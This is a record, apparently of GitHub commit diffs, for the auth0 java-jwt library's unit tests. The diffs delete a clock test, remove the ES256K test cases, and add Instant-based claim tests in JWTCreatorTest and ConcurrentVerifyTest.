     exports com.auth0.jwt.algorithms;u}(jG  (0eec07d7a89a28f0426722f1bdc52995ab601b2aj  2lib/src/test/java/com/auth0/jwt/ClockImplTest.javaj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.java?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  X  @@ -1,21 +0,0 @@
-package com.auth0.jwt;
-
-import com.auth0.jwt.interfaces.Clock;
-import org.junit.Test;
-
-import java.util.Date;
-
-import static org.hamcrest.Matchers.is;
-import static org.hamcrest.Matchers.notNullValue;
-import static org.junit.Assert.*;
-
-public class ClockImplTest {
-
-    @Test
-    public void shouldGetToday() throws Exception{
-        Clock clock = new ClockImpl();
-        Date clockToday = clock.getToday();
-        assertThat(clockToday, is(notNullValue()));
-    }
-
-}
\ No newline at end of fileu}(jG  (a06df7b72f5615086c3919f731b33ac4178ec183j  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X6
  @@ -28,8 +28,6 @@ public class ConcurrentVerifyTest {
     private static final int REPEAT_COUNT = 1000;
     private static final String PUBLIC_KEY_FILE = "src/test/resources/rsa-public.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public.pem";
 
@@ -38,12 +36,12 @@ public class ConcurrentVerifyTest {
     private static ExecutorService executor;
 
     @BeforeClass
-    public static void beforeAll() throws Exception {
+    public static void beforeAll() {
         executor = Executors.newFixedThreadPool(THREAD_COUNT);
     }
 
     @AfterClass
-    public static void afterAll() throws Exception {
+    public static void afterAll() {
         executor.shutdown();
     }
 
@@ -68,7 +66,7 @@ private static class VerifyTask implements Callable<DecodedJWT> {
         }
 
         @Override
-        public DecodedJWT call() throws Exception {
+        public DecodedJWT call() {
             DecodedJWT jwt = null;
             try {
                 jwt = verifier.verify(token);
@@ -145,17 +143,6 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
         concurrentVerify(verifier, token);
     }
     
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
-        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        JWTVerifier verifier = JWTVerifier.init(algorithm).withIssuer("auth0").build();
-        
-        concurrentVerify(verifier, token);
-    }
-    
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String token = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(jG  (020e5e373ff4ed3acce72674c1043d4abcab97d3j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  Kj  Kj  Mj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  Xۋ  @@ -1,22 +1,24 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
+import java.time.Instant;
 import java.util.*;
 
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -25,36 +27,63 @@ public class JWTCreatorTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
 
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
+    public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTCreator.init()
                 .sign(null);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldAddHeaderClaim() throws Exception {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put("asd", 123);
+    public void shouldAddHeaderClaim() {
+        Date date = new Date(123000);
+        Instant instant = date.toInstant();
+
+        List<Object> list = Arrays.asList(date, instant);
+        Map<String, Object> map = new HashMap<>();
+        map.put("date", date);
+        map.put("instant", instant);
+
+        List<Object> expectedSerializedList = Arrays.asList(date.getTime() / 1000, instant.getEpochSecond());
+        Map<String, Object> expectedSerializedMap = new HashMap<>();
+        expectedSerializedMap.put("date", date.getTime() / 1000);
+        expectedSerializedMap.put("instant", instant.getEpochSecond());
+
+        Map<String, Object> header = new HashMap<>();
+        header.put("string", "string");
+        header.put("int", 42);
+        header.put("long", 4200000000L);
+        header.put("double", 123.123);
+        header.put("bool", true);
+        header.put("date", date);
+        header.put("instant", instant);
+        header.put("list", list);
+        header.put("map", map);
+
         String signed = JWTCreator.init()
                 .withHeader(header)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("asd", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("string", "string"));
+        assertThat(headerJson, JsonMatcher.hasEntry("int", 42));
+        assertThat(headerJson, JsonMatcher.hasEntry("long", 4200000000L));
+        assertThat(headerJson, JsonMatcher.hasEntry("double", 123.123));
+        assertThat(headerJson, JsonMatcher.hasEntry("bool", true));
+        assertThat(headerJson, JsonMatcher.hasEntry("date", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("instant", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("list", expectedSerializedList));
+        assertThat(headerJson, JsonMatcher.hasEntry("map", expectedSerializedMap));
     }
 
     @Test
-    public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
+    public void shouldReturnBuilderIfNullMapIsProvided() {
         String signed = JWTCreator.init()
                 .withHeader(null)
                 .sign(Algorithm.HMAC256("secret"));
@@ -63,9 +92,9 @@ public void shouldReturnBuilderIfNullMapIsProvided() throws Exception {
     }
 
     @Test
-    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws Exception {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put(PublicClaims.KEY_ID, "xyz");
+    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
+        Map<String, Object> header = new HashMap<>();
+        header.put(HeaderParams.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
                 .withKeyId("abc")
@@ -75,13 +104,13 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "xyz"));
+        assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
     @Test
-    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exception {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put(PublicClaims.KEY_ID, "xyz");
+    public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
+        Map<String, Object> header = new HashMap<>();
+        header.put(HeaderParams.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -91,13 +120,13 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() throws Exce
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "abc"));
+        assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "abc"));
     }
 
     @Test
-    public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put(PublicClaims.KEY_ID, null);
+    public void shouldRemoveHeaderIfTheValueIsNull() {
+        Map<String, Object> header = new HashMap<>();
+        header.put(HeaderParams.KEY_ID, null);
         header.put("test2", "isSet");
 
         String signed = JWTCreator.init()
@@ -108,12 +137,12 @@ public void shouldRemoveHeaderIfTheValueIsNull() throws Exception {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.isNotPresent(PublicClaims.KEY_ID));
+        assertThat(headerJson, JsonMatcher.isNotPresent(HeaderParams.KEY_ID));
         assertThat(headerJson, JsonMatcher.hasEntry("test2", "isSet"));
     }
 
     @Test
-    public void shouldAddKeyId() throws Exception {
+    public void shouldAddKeyId() {
         String signed = JWTCreator.init()
                 .withKeyId("56a8bd44da435300010000015f5ed")
                 .sign(Algorithm.HMAC256("secret"));
@@ -157,39 +186,6 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
         assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
     }
 
-    @Test
-    public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .sign(Algorithm.ECDSA256K(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
-    @Test
-    public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.ECDSA256(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
     @Test
     public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");
@@ -224,7 +220,7 @@ public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception
     }
 
     @Test
-    public void shouldAddIssuer() throws Exception {
+    public void shouldAddIssuer() {
         String signed = JWTCreator.init()
                 .withIssuer("auth0")
                 .sign(Algorithm.HMAC256("secret"));
@@ -234,7 +230,7 @@ public void shouldAddIssuer() throws Exception {
     }
 
     @Test
-    public void shouldAddSubject() throws Exception {
+    public void shouldAddSubject() {
         String signed = JWTCreator.init()
                 .withSubject("1234567890")
                 .sign(Algorithm.HMAC256("secret"));
@@ -244,7 +240,7 @@ public void shouldAddSubject() throws Exception {
     }
 
     @Test
-    public void shouldAddAudience() throws Exception {
+    public void shouldAddAudience() {
         String signed = JWTCreator.init()
                 .withAudience("Mark")
                 .sign(Algorithm.HMAC256("secret"));
@@ -262,7 +258,7 @@ public void shouldAddAudience() throws Exception {
     }
 
     @Test
-    public void shouldAddExpiresAt() throws Exception {
+    public void shouldAddExpiresAt() {
         String signed = JWTCreator.init()
                 .withExpiresAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -272,7 +268,18 @@ public void shouldAddExpiresAt() throws Exception {
     }
 
     @Test
-    public void shouldAddNotBefore() throws Exception {
+    public void shouldAddExpiresAtInstant() {
+        String signed = JWTCreator.init()
+                .withExpiresAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        System.out.println(signed);
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
+    }
+
+    @Test
+    public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
                 .withNotBefore(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -282,7 +289,17 @@ public void shouldAddNotBefore() throws Exception {
     }
 
     @Test
-    public void shouldAddIssuedAt() throws Exception {
+    public void shouldAddNotBeforeInstant() {
+        String signed = JWTCreator.init()
+                .withNotBefore(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
+    }
+
+    @Test
+    public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
                 .withIssuedAt(new Date(1477592000))
                 .sign(Algorithm.HMAC256("secret"));
@@ -292,28 +309,27 @@ public void shouldAddIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldAddJWTId() throws Exception {
+    public void shouldAddIssuedAtInstant() {
         String signed = JWTCreator.init()
-                .withJWTId("jwt_id_123")
+                .withIssuedAt(Instant.ofEpochSecond(1477592))
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
-        assertThat(TokenUtils.splitToken(signed)[1], is("eyJqdGkiOiJqd3RfaWRfMTIzIn0"));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldAddJWTId() {
         String signed = JWTCreator.init()
-                .withIssuer("iss")
-                .withIssuer(null)
+                .withJWTId("jwt_id_123")
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
-        assertThat(TokenUtils.splitToken(signed)[1], is("e30"));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJqdGkiOiJqd3RfaWRfMTIzIn0"));
     }
 
     @Test
-    public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
+    public void shouldSetCorrectAlgorithmInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -324,7 +340,7 @@ public void shouldSetCorrectAlgorithmInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetDefaultTypeInTheHeader() throws Exception {
+    public void shouldSetDefaultTypeInTheHeader() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.HMAC256("secret"));
 
@@ -335,7 +351,7 @@ public void shouldSetDefaultTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetCustomTypeInTheHeader() throws Exception {
+    public void shouldSetCustomTypeInTheHeader() {
         Map<String, Object> header = Collections.singletonMap("typ", "passport");
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -348,23 +364,23 @@ public void shouldSetCustomTypeInTheHeader() throws Exception {
     }
 
     @Test
-    public void shouldSetEmptySignatureIfAlgorithmIsNone() throws Exception {
+    public void shouldSetEmptySignatureIfAlgorithmIsNone() {
         String signed = JWTCreator.init()
                 .sign(Algorithm.none());
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[2], is(""));
     }
 
     @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTCreator.init()
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withClaim("name", "value")
                 .sign(Algorithm.HMAC256("secret"));
@@ -375,7 +391,7 @@ public void shouldAcceptCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 123)
                 .sign(Algorithm.HMAC256("secret"));
@@ -386,7 +402,7 @@ public void shouldAcceptCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withClaim("name", Long.MAX_VALUE)
                 .sign(Algorithm.HMAC256("secret"));
@@ -397,7 +413,7 @@ public void shouldAcceptCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDouble() {
         String jwt = JWTCreator.init()
                 .withClaim("name", 23.45)
                 .sign(Algorithm.HMAC256("secret"));
@@ -408,7 +424,7 @@ public void shouldAcceptCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeBoolean() {
         String jwt = JWTCreator.init()
                 .withClaim("name", true)
                 .sign(Algorithm.HMAC256("secret"));
@@ -419,7 +435,7 @@ public void shouldAcceptCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDate() {
         Date date = new Date(1478891521000L);
         String jwt = JWTCreator.init()
                 .withClaim("name", date)
@@ -431,7 +447,19 @@ public void shouldAcceptCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeDateInstant() {
+        Instant instant = Instant.ofEpochSecond(1478891521);
+        String jwt = JWTCreator.init()
+                .withClaim("name", instant)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
+    }
+
+    @Test
+    public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new String[]{"text", "123", "true"})
                 .sign(Algorithm.HMAC256("secret"));
@@ -442,7 +470,7 @@ public void shouldAcceptCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Integer[]{1, 2, 3})
                 .sign(Algorithm.HMAC256("secret"));
@@ -453,7 +481,7 @@ public void shouldAcceptCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldAcceptCustomArrayClaimOfTypeLong() {
         String jwt = JWTCreator.init()
                 .withArrayClaim("name", new Long[]{1L, 2L, 3L})
                 .sign(Algorithm.HMAC256("secret"));
@@ -464,7 +492,7 @@ public void shouldAcceptCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
+    public void shouldAcceptCustomClaimOfTypeMap() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", "abc");
         data.put("test2", "def");
@@ -478,7 +506,7 @@ public void shouldAcceptCustomClaimOfTypeMap() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomClaimOfTypeUserPojo() throws Exception {
+    public void shouldRefuseCustomClaimOfTypeUserPojo() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", new UserPojo("Michael", 255));
 
@@ -499,7 +527,8 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123L));
+        data.put("date", new Date(123000L));
+        data.put("instant", Instant.ofEpochSecond(123));
         data.put("boolean", true);
 
         // array types
@@ -529,13 +558,15 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("integer"), is(1));
         assertThat(map.get("long"), is(Long.MAX_VALUE));
         assertThat(map.get("double"), is(123.456d));
+
         assertThat(map.get("date"), is(123));
+        assertThat(map.get("instant"), is(123));
         assertThat(map.get("boolean"), is(true));
 
         // array types
-        assertThat(map.get("intArray"), is(Arrays.asList(new Integer[]{3, 5})));
-        assertThat(map.get("longArray"), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
-        assertThat(map.get("stringArray"), is(Arrays.asList(new String[]{"string"})));
+        assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
+        assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(map.get("stringArray"), is(Collections.singletonList("string")));
 
         // list
         assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
@@ -553,7 +584,8 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123L));
+        data.add(new Date(123000L));
+        data.add(Instant.ofEpochSecond(123));
         data.add(true);
 
         // array types
@@ -574,7 +606,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
-        
+
         String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         ObjectMapper mapper = new ObjectMapper();
         List<Object> list = (List<Object>) mapper.readValue(body, Map.class).get("data");
@@ -584,21 +616,21 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
         assertThat(list.get(4), is(123));
-        assertThat(list.get(5), is(true));
+        assertThat(list.get(5), is(123));
+        assertThat(list.get(6), is(true));
 
         // array types
-        assertThat(list.get(6), is(Arrays.asList(new Integer[]{3, 5})));
-        assertThat(list.get(7), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
-        assertThat(list.get(8), is(Arrays.asList(new String[]{"string"})));
+        assertThat(list.get(7), is(Arrays.asList(3, 5)));
+        assertThat(list.get(8), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(list.get(9), is(Arrays.asList("string")));
 
         // list
-        assertThat(list.get(9), is(Arrays.asList("a", "b", "c")));
-        assertThat(list.get(10), is(sub));
-
+        assertThat(list.get(10), is(Arrays.asList("a", "b", "c")));
+        assertThat(list.get(11), is(sub));
     }
 
     @Test
-    public void shouldAcceptCustomClaimForNullListItem() throws Exception {
+    public void shouldAcceptCustomClaimForNullListItem() {
         Map<String, Object> data = new HashMap<>();
         data.put("test1", Arrays.asList("a", null, "c"));
 
@@ -608,53 +640,7 @@ public void shouldAcceptCustomClaimForNullListItem() throws Exception {
     }
 
     @Test
-    @SuppressWarnings("unchecked")
-    public void shouldAcceptCustomClaimWithNullMapAndRemoveClaim() throws Exception {
-        String jwt = JWTCreator.init()
-                .withClaim("map", "stubValue")
-                .withClaim("map", (Map<String, ?>) null)
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
-
-        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        ObjectMapper mapper = new ObjectMapper();
-        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
-        assertThat(map, anEmptyMap());
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception {
-        String jwt = JWTCreator.init()
-                .withClaim("list", "stubValue")
-                .withClaim("list", (List<String>) null)
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
-
-        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        ObjectMapper mapper = new ObjectMapper();
-        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
-        assertThat(map, anEmptyMap());
-    }
-
-    @Test
-    public void shouldRefuseCustomClaimForNullMapValue() throws Exception {
-        Map<String, Object> data = new HashMap<>();
-        data.put("subKey", null);
-
-        exception.expect(IllegalArgumentException.class);
-
-        JWTCreator.init()
-                .withClaim("pojo", data)
-                .sign(Algorithm.HMAC256("secret"));
-    }
-
-    @Test
-    public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
+    public void shouldRefuseCustomClaimForNullMapKey() {
         Map<String, Object> data = new HashMap<>();
         data.put(null, "subValue");
 
@@ -667,7 +653,7 @@ public void shouldRefuseCustomClaimForNullMapKey() throws Exception {
 
     @SuppressWarnings({"unchecked", "rawtypes"})
     @Test
-    public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
+    public void shouldRefuseCustomMapClaimForNonStringKey() {
         Map data = new HashMap<>();
         data.put(new Object(), "value");
 
@@ -679,8 +665,8 @@ public void shouldRefuseCustomMapClaimForNonStringKey() throws Exception {
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+    public void shouldRefuseCustomListClaimForUnknownListElement() {
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
 
@@ -690,8 +676,8 @@ public void shouldRefuseCustomListClaimForUnknownListElement() throws Exception
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() throws Exception {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+    public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
         data.put("someList", list);
